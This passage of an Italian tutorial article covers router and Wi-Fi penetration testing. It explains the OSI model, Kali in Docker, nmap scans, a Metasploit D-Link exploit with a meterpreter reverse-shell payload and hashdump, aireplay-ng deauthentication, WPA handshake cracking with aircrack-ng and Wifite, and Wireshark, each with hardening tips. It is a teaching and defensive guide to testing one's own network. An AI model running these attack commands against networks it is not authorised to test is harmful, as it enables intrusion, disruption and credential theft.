Views: 23
Continua a seguirci su libertaeazione.it per altre notizie come “Titolo dell’articolo“.
- 1. Introduzione "Cybersecurity attacks"
- 2. Struttura del Modello OSI e TCP/IP
- Modello OSI
- Modello TCP/IP
- 3. Panoramica sui Router e sui Protocolli Wi-Fi
- Funzionamento di un Router nel Modello OSI
- Protocolli di Sicurezza Wi-Fi
- Configurazione del Router per la Massima Sicurezza
- 4. Installazione di Kali Linux tramite Docker
- Requisiti di sistema
- Installazione di Docker
- Esecuzione di Kali Linux tramite Docker
- Configurazione della Rete in Kali Linux
- 5. Introduzione ai Test di Penetration (Pen Testing)
- Tipi di Penetration Testing
- Esecuzione di un Penetration Test su un Router
- Passaggi Principali di un Pen Test
- Strumenti Comuni per il Penetration Testing
- 6. Scansione della Rete con nmap
- Installazione di nmap
- Utilizzo Base di nmap
- Scansione delle Porte Aperte su un Router
- Identificazione dei Servizi e delle Versioni
- Scansione Aggressiva
- Salvare i Risultati della Scansione
- Esempi di Utilizzo Avanzato di nmap
- Link di Approfondimento
- 7. Attacco tramite Metasploit
- Installazione di Metasploit
- Scansione e Ricerca di Exploit per Router
- Utilizzo di un Exploit
- Utilizzo di Payload Avanzati
- Prevenzione degli Attacchi Metasploit
- Link di Approfondimento
- 8. Verifica delle Vulnerabilità Wi-Fi con aircrack-ng
- Installazione di aircrack-ng
- Modalità Monitor
- Cattura dei Pacchetti Wi-Fi
- Attacco WPA/WPA2 Handshake
- Cracking della Password con aircrack-ng
- Prevenzione degli Attacchi Wi-Fi
- Link di Approfondimento
- 9. Utilizzo di Wifite per un Attacco Wi-Fi Automatizzato
- Installazione di Wifite
- Utilizzo Base di Wifite
- Esecuzione di Attacchi Automatizzati
- Utilizzo Avanzato di Wifite
- Analisi dei Risultati
- Protezione dagli Attacchi di Wifite
- Link di Approfondimento
- 10. Monitoraggio del Traffico di Rete con Wireshark
- Installazione di Wireshark
- Cattura del Traffico di Rete
- Filtraggio del Traffico
- Analisi dei Pacchetti
- Protezione contro il Monitoraggio
- Link di Approfondimento
- 11. Difesa contro Attacchi di Forza Bruta con Hydra
- Installazione di Hydra
- Utilizzo Base di Hydra
- Utilizzo Avanzato di Hydra
- Prevenzione degli Attacchi di Forza Bruta
- Link di Approfondimento
- 12. Sicurezza tramite VPN: Creazione di una VPN con OpenVPN
- Installazione di OpenVPN
- Configurazione di OpenVPN
- Vantaggi dell'Utilizzo di una VPN
- Prevenzione contro Attacchi VPN
- Link di Approfondimento
- 13. Monitoraggio e Blocco di Accessi Non Autorizzati con Fail2Ban
- Installazione di Fail2Ban
- Configurazione di Fail2Ban
- Monitoraggio degli Accessi Non Autorizzati
- Protezione con Fail2Ban
- Link di Approfondimento
- 14. Configurazione di un Honeypot con Cowrie per Intrappolare gli Attaccanti
- Installazione di Cowrie
- Monitoraggio dei Tentativi di Attacco
- Protezione tramite Honeypot
- Link di Approfondimento
- 15. Protezione del Router con un Firewall: Configurazione di iptables
- Installazione di iptables
- Configurazione di iptables per Proteggere il Router
- Monitoraggio del Traffico con iptables
- Prevenzione con iptables
- Link di Approfondimento
- 16. Utilizzo di Nmap per Scansioni Avanzate della Rete
- Installazione di Nmap
- Scansioni Base con Nmap
- Scansioni Avanzate con Nmap
- Prevenzione contro le Scansioni di Nmap
- Link di Approfondimento
- 17. Configurazione e Uso di Metasploit per Test di Penetrazione
- Installazione di Metasploit
- Configurazione di Metasploit
- Utilizzo Base di Metasploit
- Scansione di Vulnerabilità con Metasploit
- Protezione contro Attacchi Metasploit
- Link di Approfondimento
- 18. Sicurezza delle Comunicazioni con SSH e Certificati
- Generazione delle Chiavi SSH
- Disabilitare l'Accesso con Password
- Protezione di SSH con Fail2Ban
- Protezione Avanzata con Autenticazione a Due Fattori
- Link di Approfondimento
- 19. Configurazione di Port Knocking per Aumentare la Sicurezza
- Installazione di Knockd
- Configurazione di Knockd
- Avvio di Knockd
- Utilizzo di Knock per Accedere a SSH
- Prevenzione contro Tentativi di Knocking non Autorizzati
- Link di Approfondimento
- 20. Sicurezza del Router: Best Practices e Considerazioni Finali
- 1. Aggiornamenti regolari del firmware
- 2. Configurazione del firewall del router
- 3. Disabilitazione di servizi non necessari
- 4. Utilizzo di VPN per crittografare il traffico
- 5. Monitoraggio regolare della rete
- Conclusione
- Link di Approfondimento
- 21. Attacco Man-in-the-Middle con SSL Strip
- Installazione e Configurazione di SSLstrip
- Prevenzione di Attacchi SSL Strip
- Link di Approfondimento
- 22. Cattura di un Handshake Wi-Fi
- Cattura dell'Handshake con airodump-ng
- Strumenti Alternativi per la Cattura dell'Handshake
- Link di Approfondimento
- 23. Forzare le Riconnessioni Wi-Fi per Catturare un Handshake
- Attacco di Deautenticazione con Aireplay-ng
- Prevenzione contro Attacchi di Deautenticazione
- Link di Approfondimento
- 24. Lettura e Analisi di un Handshake Wi-Fi
- Lettura di un Handshake con Aircrack-ng
- Altri Strumenti di Cracking
- Prevenzione contro Attacchi di Cracking
- Link di Approfondimento
- 25. Utilizzo di Ettercap per Attacchi Man-in-the-Middle
- Cos'è un Attacco Man-in-the-Middle?
- Installazione di Ettercap
- Avvio di un Attacco MITM con Ettercap
- Prevenzione di Attacchi MITM
- 26. Esecuzione di Attacchi Evil Twin su Reti Wi-Fi
- Cos'è un Attacco Evil Twin?
- Esecuzione di un Attacco Evil Twin con Airbase-ng
- Prevenzione di Attacchi Evil Twin
- 27. Bypass delle Misure di Sicurezza con Wifiphisher
- Attacco Phishing con Wifiphisher
- Prevenzione degli Attacchi di Phishing Wi-Fi
- 28. Attacchi di Password Spraying su SSH
- Cos'è il Password Spraying?
- Esecuzione di un Attacco Password Spraying con Hydra
- Prevenzione contro Attacchi di Password Spraying
- 29. Utilizzo di John the Ripper per Cracking Avanzato di Password
- Installazione di John the Ripper
- Formati di Hash Supportati
- Cracking di Password con Wordlist
- Cracking Incrementale (Brute Force)
- Monitorare lo Stato del Cracking
- Prevenzione contro il Cracking di Password
- Link di Approfondimento
- 30. Attacchi di Rogue Access Point con Hostapd
- Cos'è un Rogue Access Point?
- Configurazione di un Rogue Access Point con Hostapd
- Prevenzione di Attacchi Rogue Access Point
- Link di Approfondimento
- 31. Cifratura WPA3: Configurazione e Sicurezza
- Cos'è WPA3?
- Configurazione di WPA3 su un Router
- Vantaggi di WPA3
- Prevenzione di Attacchi su WPA3
- Link di Approfondimento
- 32. Analisi del Traffico SSL con sslsniff
- Cos'è sslsniff?
- Installazione di sslsniff
- Attacco Man-in-the-Middle con sslsniff
- Prevenzione di Attacchi SSL
- Link di Approfondimento
- 33. DNS Spoofing (DNS Cache Poisoning)
- Cos'è il DNS Spoofing?
- Installazione di dnsspoof
- Protezione contro il DNS Spoofing
- Link di Approfondimento
- 34. ARP Spoofing (Address Resolution Protocol)
- Cos'è l'ARP Spoofing?
- Esecuzione di un Attacco ARP Spoofing con arpspoof
- Protezione contro ARP Spoofing
- Link di Approfondimento
- 35. Attacco a Reti WPA2 con KRACK
- Cos'è l'Attacco KRACK?
- Esecuzione di un Attacco KRACK
- Prevenzione contro KRACK
- Link di Approfondimento
- 36. Deauth Attack (Attacco di Deautenticazione)
- Cos'è un Deauth Attack?
- Esecuzione di un Attacco di Deautenticazione con aireplay-ng
- Prevenzione contro Deauth Attack
- Link di Approfondimento
- 37. Attacchi di Side-Channel su HTTPS (Padding Oracle)
- Cos'è un Padding Oracle Attack?
- Esecuzione di un Padding Oracle Attack
- Protezione contro il Padding Oracle Attack
- Link di Approfondimento
- 38. Attacchi di Cross-Site Scripting (XSS)
- Cos'è un Attacco XSS?
- Esecuzione di un Attacco XSS con OWASP ZAP
- Protezione contro XSS
- Link di Approfondimento
- 39. SQL Injection (SQLi)
- Cos'è l'Attacco SQL Injection?
- Esecuzione di un Attacco SQLi con sqlmap
- Protezione contro SQL Injection
- Link di Approfondimento
- 40. Attacchi a Password basati su Rainbow Tables
- Cos'è un Attacco con Rainbow Tables?
- Esecuzione di un Attacco con Rainbow Tables
- Protezione contro gli Attacchi con Rainbow Tables
- Link di Approfondimento
- 41. Framework di Attacchi Automatizzati (Metasploit Framework)
- Installazione di Metasploit
- Esecuzione di un attacco con Metasploit
- Protezione contro exploit di Metasploit
- Link di Approfondimento
- 42. Shodan: Ricerca Dispositivi Vulnerabili
- Cos'è Shodan?
- Utilizzo di Shodan per Trovare Dispositivi Vulnerabili
- Protezione contro Shodan
- Link di Approfondimento
- 43. OWASP Top 10: Le Principali Vulnerabilità delle Applicazioni Web
- Cos'è l'OWASP Top 10?
- Le Vulnerabilità Principali
- Link di Approfondimento
- Generazione e Download di Dizionari per Attacchi Brute-force WPA/WPA2
- Risorse Online per Wordlist WPA/WPA2
- Generazione di Wordlist Personalizzate con Crunch
- Brute Force WiFi WPA2 Tutorial
1. Introduzione “Cybersecurity attacks”
La sicurezza dei router Wi-Fi domestici è una questione sempre più critica nel mondo di oggi, dove la connettività a Internet è alla base di molte delle nostre attività quotidiane. I router sono spesso trascurati quando si parla di sicurezza, ma rappresentano un obiettivo prezioso per gli hacker. Questi dispositivi, che collegano i nostri dispositivi domestici a Internet, possono essere vulnerabili a vari tipi di attacchi, come brute force, attacchi Wi-Fi, vulnerabilità del firmware e molto altro.
Con gli strumenti giusti, puoi eseguire un penetration test sulla tua rete per verificare quanto sia sicura. Questo articolo esplorerà una serie di tecniche avanzate per testare la sicurezza del tuo router Wi-Fi. Dall’installazione di Kali Linux su Docker, alla configurazione di un firewall sicuro, passando per l’uso di strumenti di sniffing come Wireshark e tecniche di attacco come il DNS spoofing, questo articolo ti guiderà attraverso ogni passaggio con esempi pratici e script.
Inizieremo con una panoramica del Modello OSI e del Modello TCP/IP, per capire meglio come gli attacchi colpiscono specifici strati della rete e come possiamo difenderci efficacemente.
2. Struttura del Modello OSI e TCP/IP
Il modello OSI (Open Systems Interconnection) è un framework che descrive le funzioni di una rete di comunicazione in 7 strati distinti. Ogni strato ha una funzione specifica e serve a trasportare i dati da un dispositivo all’altro. Per comprendere meglio come gli attacchi ai router operano, è essenziale conoscere il modello OSI e il più semplificato modello TCP/IP.
Modello OSI
Il modello OSI è suddiviso in sette livelli:
- Livello 1: Fisico – Responsabile della trasmissione di bit fisici tra dispositivi.
- Livello 2: Collegamento dati – Gestisce la comunicazione tra dispositivi vicini, controllando errori e fornendo accesso ai dati.
- Livello 3: Rete – Responsabile dell’instradamento dei pacchetti da una rete all’altra (ad esempio, tramite l’IP).
- Livello 4: Trasporto – Garantisce la consegna affidabile dei dati (ad esempio, tramite TCP/UDP).
- Livello 5: Sessione – Gestisce l’apertura, la chiusura e la gestione delle sessioni tra applicazioni.
- Livello 6: Presentazione – Si occupa della traduzione, della crittografia e della compressione dei dati.
- Livello 7: Applicazione – Fornisce servizi di rete direttamente alle applicazioni utente (ad esempio, HTTP, FTP).
Modello TCP/IP
Il modello TCP/IP è una versione semplificata del modello OSI, utilizzato principalmente nelle comunicazioni Internet. È composto da 4 strati:
- Accesso alla Rete: Combina i livelli Fisico e Collegamento dati dell’OSI.
- Internet: Equivalente al livello Rete dell’OSI.
- Trasporto: Equivalente al livello Trasporto dell’OSI.
- Applicazione: Combina i livelli Sessione, Presentazione e Applicazione del modello OSI.
Capire come funzionano questi modelli è cruciale per comprendere dove e come avvengono gli attacchi. Ad esempio, un attacco DoS (Denial of Service) colpisce principalmente i livelli 3 e 4, mentre un attacco di spoofing DNS colpisce il livello 7.
Link di Approfondimento:
3. Panoramica sui Router e sui Protocolli Wi-Fi
I router sono dispositivi fondamentali per la connessione di una rete domestica o aziendale a Internet. Gestiscono il traffico tra i vari dispositivi locali e il mondo esterno, rendendo possibile la connessione a siti web, app e servizi online. Il loro funzionamento è regolato da una serie di protocolli e standard che ne definiscono il comportamento.
Funzionamento di un Router nel Modello OSI
Un router opera principalmente ai livelli 3 e 4 del modello OSI:
- Livello 3 (Rete): Responsabile dell’instradamento dei pacchetti di dati tra reti diverse tramite il protocollo IP.
- Livello 4 (Trasporto): Assicura la trasmissione affidabile dei pacchetti utilizzando protocolli come TCP e UDP.
Inoltre, molti router moderni includono funzionalità di sicurezza, come firewall e crittografia, che operano ai livelli superiori del modello OSI.
Protocolli di Sicurezza Wi-Fi
Per proteggere la comunicazione wireless, sono stati sviluppati diversi protocolli di sicurezza:
- WEP (Wired Equivalent Privacy): Il primo standard di sicurezza Wi-Fi, ormai considerato obsoleto e vulnerabile.
- WPA (Wi-Fi Protected Access): Un miglioramento rispetto a WEP, ma ancora vulnerabile ad attacchi di forza bruta.
- WPA2: Basato su AES (Advanced Encryption Standard), è attualmente il protocollo più comune e sicuro per le reti Wi-Fi, sebbene alcune vulnerabilità siano state scoperte (ad esempio, l’attacco KRACK).
- WPA3: L’ultima evoluzione dei protocolli Wi-Fi, che introduce protezioni più avanzate contro attacchi di forza bruta e altre vulnerabilità.
Configurazione del Router per la Massima Sicurezza
Per garantire la sicurezza della rete domestica, è importante configurare correttamente il router:
- Crittografia WPA3 o WPA2: Configura il router per utilizzare WPA2 o, se disponibile, WPA3.
- Disabilitazione di WPS: Il sistema WPS, che permette di connettere i dispositivi alla rete tramite un PIN, è noto per avere vulnerabilità di sicurezza.
- Cambio delle credenziali di default: Cambia il nome utente e la password predefiniti del router.
- Aggiornamento del firmware: Mantieni sempre aggiornato il firmware del router per correggere eventuali vulnerabilità.
Link di Approfondimento:
4. Installazione di Kali Linux tramite Docker
Kali Linux è una distribuzione basata su Debian, progettata appositamente per il penetration testing e la sicurezza informatica. Con Kali, puoi eseguire test approfonditi sulla tua rete e sui dispositivi collegati, come router e access point Wi-Fi. In questa sezione, esploreremo come installare e utilizzare Kali Linux all’interno di un container Docker, che ti permette di eseguire i test di sicurezza in un ambiente isolato.
Requisiti di sistema
Per eseguire Kali Linux in Docker, avrai bisogno di:
- Un computer con Docker installato.
- Connessione Internet.
- Accesso come amministratore per installare e gestire Docker.
Installazione di Docker
Se non hai ancora Docker installato, ecco come puoi farlo su varie piattaforme:
Installazione di Docker su Ubuntu/Debiansudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
Installazione di Docker su CentOSsudo yum install docker
sudo systemctl start docker
sudo systemctl enable docker
Installazione di Docker su Windows
Su Windows, dovrai installare Docker Desktop. Puoi seguire la guida ufficiale per installarlo qui.
Esecuzione di Kali Linux tramite Docker
Una volta installato Docker, puoi scaricare l’immagine Docker ufficiale di Kali Linux e avviare un container con i seguenti comandi:
docker pull kalilinux/kali-rolling
docker run -it –net=host –name kali kalilinux/kali-rolling /bin/bash
- docker pull: Scarica l’immagine più recente di Kali Linux.
- docker run: Avvia un container e ti mette in una shell interattiva.
- –net=host: Connetti il container alla rete del sistema host, permettendo di eseguire test di rete.
Configurazione della Rete in Kali Linux
Per eseguire test di rete su Kali Linux, puoi verificare se il container ha accesso alla rete eseguendo un semplice comando di ping:
ping google.com
Se ricevi una risposta, Kali è configurato correttamente per eseguire test di sicurezza sulla rete.
Link di Approfondimento:
5. Introduzione ai Test di Penetration (Pen Testing)
I Penetration Testing (o Pen Test) sono una serie di test di sicurezza utilizzati per identificare le vulnerabilità in un sistema, una rete o un’applicazione. L’obiettivo di un Pen Test è simulare un attacco reale per scoprire punti deboli e proteggere il sistema dagli attacchi informatici.
Tipi di Penetration Testing
- White Box Testing: Il tester ha accesso a tutte le informazioni del sistema (ad esempio, codice sorgente, diagrammi di rete) per simulare un attacco da parte di un insider.
- Black Box Testing: Il tester non ha informazioni preliminari sul sistema e simula un attacco da parte di un hacker esterno.
- Gray Box Testing: Il tester ha accesso parziale alle informazioni di sistema, una via di mezzo tra white e black box testing.
Esecuzione di un Penetration Test su un Router
Un Penetration Test su un router consiste nell’esaminare:
- Le configurazioni di sicurezza del router (ad esempio, protocolli Wi-Fi, password, firewall).
- La presenza di servizi non necessari o vulnerabili.
- La robustezza delle credenziali di accesso al pannello di amministrazione.
- La presenza di vulnerabilità note nel firmware del router.
Passaggi Principali di un Pen Test
- Raccolta di Informazioni (Reconnaissance): Questa fase include la scansione delle porte aperte e la ricerca di servizi attivi. Strumenti come nmap e Netcat sono comunemente usati in questa fase.Esempio di comando nmap per raccogliere informazioni su un router:nmap -A 192.168.1.1
- Scansione delle Vulnerabilità: Una volta raccolte le informazioni, puoi usare strumenti come OpenVAS o Nessus per identificare le vulnerabilità note nel sistema.Esempio di comando per lanciare una scansione con OpenVAS:openvas-startDopo aver avviato OpenVAS, puoi accedere al pannello di controllo web e lanciare una scansione mirata sul tuo router.
- Exploitation: In questa fase, sfrutti le vulnerabilità identificate per ottenere l’accesso al sistema o compromettere il router. Strumenti come Metasploit vengono comunemente usati per questo scopo.Esempio di utilizzo di Metasploit per attaccare un router vulnerabile:msfconsole
search exploit router
use exploit/linux/http/dlink_upnp_exec
set RHOST 192.168.1.1
exploit - Post-Exploitation: Una volta ottenuto l’accesso al sistema, vengono eseguite ulteriori analisi per esplorare altre vulnerabilità o per ottenere informazioni sensibili.
Strumenti Comuni per il Penetration Testing
- Metasploit: Utilizzato per la ricerca e l’esecuzione di exploit.
- nmap: Utilizzato per la scansione delle porte e la raccolta di informazioni sulla rete.
- Wireshark: Strumento di analisi del traffico di rete.
- Hydra: Utilizzato per eseguire attacchi di forza bruta su credenziali di accesso.
Link di Approfondimento:
6. Scansione della Rete con nmap
nmap (Network Mapper) è uno strumento open-source utilizzato per la scansione delle reti e l’identificazione dei dispositivi, delle porte aperte e dei servizi attivi. È uno degli strumenti più potenti e versatili per la raccolta di informazioni durante un penetration test, ed è essenziale per mappare la rete locale e scoprire potenziali vulnerabilità sui router e sui dispositivi connessi.
Installazione di nmap
nmap è preinstallato su Kali Linux, ma può essere installato su qualsiasi distribuzione Linux o su Windows e macOS con il seguente comando:
- Su Ubuntu/Debian:
sudo apt install nmap
- Su macOS (con Homebrew):
brew install nmap
Utilizzo Base di nmap
Uno degli utilizzi più semplici di nmap è la scansione della rete locale per scoprire tutti i dispositivi connessi. Il seguente comando scansiona l’intera sottorete e restituisce un elenco di dispositivi attivi:
nmap -sn 192.168.1.0/24
– -sn: Effettua una “ping scan” per scoprire quali dispositivi rispondono alla rete.
– 192.168.1.0/24: L’intervallo di IP da scansionare. Questo deve essere adattato al range della tua rete.
Scansione delle Porte Aperte su un Router
Un altro uso comune di nmap è la scansione delle porte aperte su un router o un dispositivo specifico. Questo comando cerca tutte le porte aperte sul router:
nmap -p- 192.168.1.1
– -p-: Scansiona tutte le 65.535 porte, dal numero 1 al 65.535.
– 192.168.1.1: L’IP del router. Questo IP è spesso “192.168.1.1” per la maggior parte dei router domestici, ma potrebbe variare.
Identificazione dei Servizi e delle Versioni
Puoi usare nmap per identificare non solo le porte aperte, ma anche i servizi che girano su di esse e le versioni del software in esecuzione. Questo è utile per capire quali servizi vulnerabili potrebbero essere attivi sul router.
nmap -sV 192.168.1.1
– -sV: Rileva i servizi attivi e tenta di identificare la versione esatta di ciascun servizio.
Scansione Aggressiva
Se vuoi ottenere un’analisi più dettagliata del router o di un dispositivo di rete, puoi eseguire una scansione “aggressiva” con nmap:
nmap -A 192.168.1.1
– -A: Esegue una scansione dettagliata, che include rilevamento dei sistemi operativi, rilevamento delle versioni dei servizi e altre informazioni utili.
Salvare i Risultati della Scansione
Puoi salvare i risultati di una scansione nmap in un file per un’analisi successiva. Ecco un esempio di come farlo:
nmap -sV -oN risultati.txt 192.168.1.1
– -oN: Salva i risultati in formato testo semplice.
Esempi di Utilizzo Avanzato di nmap
- Scansione delle vulnerabilità con script nmap (NSE):
nmap –script vuln 192.168.1.1
Questo comando utilizza gli script di nmap per cercare vulnerabilità note su un dispositivo o router.
Link di Approfondimento
7. Attacco tramite Metasploit
Metasploit è uno dei framework più popolari per il penetration testing. Viene utilizzato per trovare, sfruttare e testare le vulnerabilità nei sistemi, compresi i router. Con una vasta libreria di exploit, Metasploit ti consente di automatizzare attacchi e simulare minacce reali. Questo capitolo ti guiderà attraverso l’utilizzo di Metasploit per attaccare un router vulnerabile.
Installazione di Metasploit
Se stai utilizzando Kali Linux, Metasploit è preinstallato. Su altre distribuzioni Linux o su Windows, puoi installarlo seguendo le istruzioni ufficiali di Metasploit.
Per lanciare Metasploit, usa il seguente comando:
msfconsole
Scansione e Ricerca di Exploit per Router
Una volta avviato Metasploit, puoi cercare exploit specifici per router vulnerabili. Ad esempio, puoi cercare exploit relativi a dispositivi D-Link o TP-Link.
Esempio di ricerca di exploit per un router:
search router
Metasploit mostrerà un elenco di exploit disponibili. Ecco un esempio di output:
Matching Modules
================
Name Disclosure Date Rank Description
—- ————— —- ———–
exploit/linux/http/dlink_upnp_exec 2018-03-20 excellent D-Link Routers UPnP SOAP Command Execution
exploit/linux/http/tplink_wdr4300_rce 2020-05-05 great TP-Link WDR4300 RCE
Utilizzo di un Exploit
Per utilizzare un exploit, devi selezionarlo e configurare il bersaglio. Ad esempio, per utilizzare l’exploit D-Link UPnP, puoi seguire questi passaggi:
- Seleziona l’exploit:use exploit/linux/http/dlink_upnp_exec
- Configura il bersaglio (RHOST):set RHOST 192.168.1.1
- Configura il payload (codice da eseguire una volta compromesso il router):set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.100 - Lancia l’exploit:exploit
Se l’attacco ha successo, Metasploit ti fornirà accesso a una shell meterpreter, da cui puoi eseguire comandi sul router compromesso.
Utilizzo di Payload Avanzati
Metasploit supporta una vasta gamma di payload che possono essere utilizzati per eseguire diverse azioni sul sistema target. Uno dei più comuni è meterpreter, un payload che ti consente di eseguire comandi, esplorare il file system e raccogliere informazioni.
Esempi di comandi meterpreter:
- Ottenere una shell: shell
- Elencare i processi in esecuzione:ps
- Catturare le credenziali:hashdump
Prevenzione degli Attacchi Metasploit
Per proteggere il tuo router dagli attacchi Metasploit:
- Aggiorna il firmware del router: Gli exploit Metasploit sfruttano vulnerabilità conosciute. Mantieni il firmware aggiornato per ridurre il rischio.
- Disabilita UPnP: Molti exploit di router sfruttano UPnP (Universal Plug and Play), una funzionalità spesso abilitata per impostazione predefinita sui router domestici. Disabilitare UPnP può prevenire questi attacchi.
- Utilizza firewall e VPN: Configura firewall e utilizza una VPN per proteggere il router dagli accessi non autorizzati.
Link di Approfondimento
8. Verifica delle Vulnerabilità Wi-Fi con aircrack-ng
Aircrack-ng è uno strumento potente utilizzato per il cracking delle chiavi WEP, WPA e WPA2, e per l’analisi delle reti Wi-Fi. È uno strumento essenziale per testare la sicurezza delle reti wireless e verificare la robustezza delle chiavi di crittografia. In questo capitolo, spiegheremo come utilizzare aircrack-ng per testare la sicurezza della tua rete Wi-Fi e identificare vulnerabilità.
Installazione di aircrack-ng
Su Kali Linux, aircrack-ng è già installato. Tuttavia, se usi un’altra distribuzione, puoi installarlo con il seguente comando:
- Su Ubuntu/Debian:sudo apt update
sudo apt install aircrack-ng
Modalità Monitor
Per testare la sicurezza di una rete Wi-Fi, devi mettere la tua scheda di rete in modalità monitor. Questo ti consente di catturare i pacchetti che circolano nell’aria, un passaggio essenziale per il cracking delle chiavi WPA/WPA2.
- Identifica l’interfaccia Wi-Fi:iwconfig
- Metti la scheda in modalità monitor:sudo airmon-ng start wlan0
- Controlla se la modalità monitor è attivata:iwconfigSe l’interfaccia Wi-Fi è stata correttamente messa in modalità monitor, vedrai wlan0mon come interfaccia.
Cattura dei Pacchetti Wi-Fi
Una volta che la scheda è in modalità monitor, puoi utilizzare airodump-ng per catturare i pacchetti della rete che desideri testare.
- Avvia airodump-ng:sudo airodump-ng wlan0mon
- Identifica la rete bersaglio: Quando esegui airodump-ng, vedrai un elenco di reti Wi-Fi vicine. Identifica la rete che vuoi testare e annota il BSSID (indirizzo MAC) e il canale della rete.
- Cattura i pacchetti della rete bersaglio:sudo airodump-ng –bssid <BSSID> –channel <canale> -w cattura wlan0mon
Attacco WPA/WPA2 Handshake
Il prossimo passaggio è catturare un handshake WPA/WPA2, che è essenziale per il cracking della password.
- Esegui un attacco deauth:sudo aireplay-ng –deauth 10 -a <BSSID> -c <MAC-client> wlan0mon
- Verifica se l’handshake è stato catturato: Se tutto è andato a buon fine, vedrai un messaggio che indica che l’handshake WPA/WPA2 è stato catturato.
Cracking della Password con aircrack-ng
- Avvia aircrack-ng:sudo aircrack-ng -w /path/to/wordlist.txt -b <BSSID> cattura-01.cap
- Esamina i risultati: Se aircrack-ng trova una password nella wordlist, verrà visualizzata nel terminale. Se la password non è presente nella wordlist, l’attacco fallirà.
Prevenzione degli Attacchi Wi-Fi
- Usa WPA3 o WPA2 con una password forte: Le password complesse sono più difficili da crackare con attacchi di forza bruta.
- Disabilita WPS: WPS è spesso sfruttato in attacchi contro reti Wi-Fi, quindi è consigliabile disabilitarlo.
- Cambia regolarmente la password del Wi-Fi: Anche se un attacco riesce, cambiare la password regolarmente può mitigare i danni.
Link di Approfondimento
9. Utilizzo di Wifite per un Attacco Wi-Fi Automatizzato
Wifite è uno strumento che automatizza molti dei processi di attacco su reti Wi-Fi, semplificando le operazioni rispetto a strumenti manuali come aircrack-ng. È particolarmente utile quando si desidera testare più reti Wi-Fi contemporaneamente o quando si desidera eseguire attacchi su reti con poca interazione manuale.
Installazione di Wifite
Wifite è preinstallato in Kali Linux, ma può essere installato su altre distribuzioni seguendo questi comandi:
- Su Ubuntu/Debian:sudo apt update
sudo apt install wifite
Utilizzo Base di Wifite
Una volta installato, Wifite può essere lanciato semplicemente con il seguente comando:
sudo wifite
Quando esegui Wifite, lo strumento inizierà automaticamente a scansionare tutte le reti Wi-Fi disponibili e ti presenterà un elenco di reti su cui puoi eseguire attacchi.
Esecuzione di Attacchi Automatizzati
Wifite è in grado di eseguire una serie di attacchi automaticamente, tra cui:
- Attacco WPA/WPA2 con cattura handshake: Wifite tenterà di catturare l’handshake WPA/WPA2 e successivamente proverà a crackare la password utilizzando una wordlist.
- Attacco WEP: Se rileva una rete WEP, eseguirà un attacco specifico per questa crittografia.
- Attacco di Deautenticazione: Wifite invia pacchetti di deautenticazione per forzare la disconnessione dei dispositivi connessi alla rete e catturare l’handshake WPA/WPA2.
Ecco un esempio di output di Wifite:
[+] scanning for wireless devices…
[+] found 2 wireless devices
1 – 11BSSID Network WPA2-PSK
2 – 22BSSID TestNet WEP
Select target(s) to attack (1-2): 1
Dopo aver selezionato il bersaglio, Wifite procederà automaticamente con l’attacco più appropriato.
Utilizzo Avanzato di Wifite
Se vuoi configurare Wifite per eseguire attacchi specifici, puoi utilizzare diverse opzioni da riga di comando.
- Attacco su una specifica rete:sudo wifite –bssid <BSSID> –channel <canale>
- Esecuzione di un attacco solo WPA:sudo wifite –wpa
- Definizione di una wordlist personalizzata per il cracking WPA/WPA2:sudo wifite –dict /path/to/wordlist.txt
Analisi dei Risultati
Una volta terminato l’attacco, Wifite fornirà un report dei risultati, inclusi eventuali handshakes WPA/WPA2 catturati e password crackate. Se l’attacco WPA ha successo, vedrai qualcosa di simile nel terminale:
[+] cracked WPA key: ‘passwordtrovata’
Protezione dagli Attacchi di Wifite
- Usa WPA3 o WPA2 con una password complessa: Le reti con password deboli sono più vulnerabili agli attacchi di forza bruta automatizzati.
- Disabilita WPS: Wifite tenta di sfruttare le vulnerabilità del WPS, quindi è consigliabile disabilitarlo sul router.
- Aggiorna regolarmente il firmware del router: Gli aggiornamenti del firmware spesso risolvono vulnerabilità che possono essere sfruttate da strumenti come Wifite.
Link di Approfondimento
10. Monitoraggio del Traffico di Rete con Wireshark
Wireshark è uno degli strumenti più potenti per l’analisi del traffico di rete. È utilizzato da amministratori di rete e penetration tester per esaminare pacchetti in tempo reale, fornendo dettagli approfonditi su ciò che accade nella rete. Puoi usare Wireshark per individuare vulnerabilità, identificare attività sospette o monitorare il traffico non autorizzato.
Installazione di Wireshark
Su Kali Linux, Wireshark è preinstallato. Su altre distribuzioni, puoi installarlo con il seguente comando:
- Su Ubuntu/Debian:sudo apt update
sudo apt install wireshark
Cattura del Traffico di Rete
Una volta installato, Wireshark può catturare il traffico su qualsiasi interfaccia di rete. Segui questi passaggi:
- Avvia Wireshark:sudo wireshark
- Seleziona l’interfaccia di rete: Dalla schermata principale, seleziona l’interfaccia di rete (ad esempio, eth0 o wlan0) per iniziare a catturare il traffico.
- Avvia la cattura: Clicca sul pulsante “Start” per iniziare a catturare i pacchetti. Wireshark visualizzerà immediatamente tutto il traffico che passa attraverso l’interfaccia selezionata.
Filtraggio del Traffico
Wireshark cattura ogni singolo pacchetto di dati che passa attraverso la rete. Tuttavia, è spesso utile filtrare il traffico per concentrarsi su particolari pacchetti o protocolli.
- Filtrare il traffico HTTP: Se desideri visualizzare solo le richieste HTTP, utilizza il seguente filtro:http
- Filtrare il traffico di un indirizzo IP specifico: Puoi filtrare i pacchetti provenienti da un determinato IP:ip.src == 192.168.1.1
- Filtrare il traffico DNS: Se stai cercando di monitorare le richieste DNS, usa questo filtro:dns
Analisi dei Pacchetti
Dopo aver catturato il traffico, puoi fare clic su qualsiasi pacchetto per visualizzare i dettagli, inclusi i protocolli utilizzati, l’indirizzo IP di origine e destinazione, e le porte utilizzate.
Protezione contro il Monitoraggio
- Utilizza una VPN: Una VPN cripta il traffico di rete, rendendo difficile per gli strumenti come Wireshark leggere i pacchetti.
- Abilita il firewall: Configura regole firewall per limitare l’accesso a determinate porte o IP.
Link di Approfondimento
11. Difesa contro Attacchi di Forza Bruta con Hydra
Hydra è uno strumento potente per eseguire attacchi di forza bruta contro servizi di autenticazione, come SSH, FTP, HTTP e molti altri. Può essere utilizzato per testare la robustezza delle credenziali di accesso ai router o ad altri dispositivi connessi alla rete. In questo capitolo, vedremo come utilizzare Hydra per eseguire un attacco di forza bruta e come difendersi da tali attacchi.
Installazione di Hydra
Su Kali Linux, Hydra è preinstallato, ma su altre distribuzioni puoi installarlo con il seguente comando:
- Su Ubuntu/Debian:sudo apt update
sudo apt install hydra
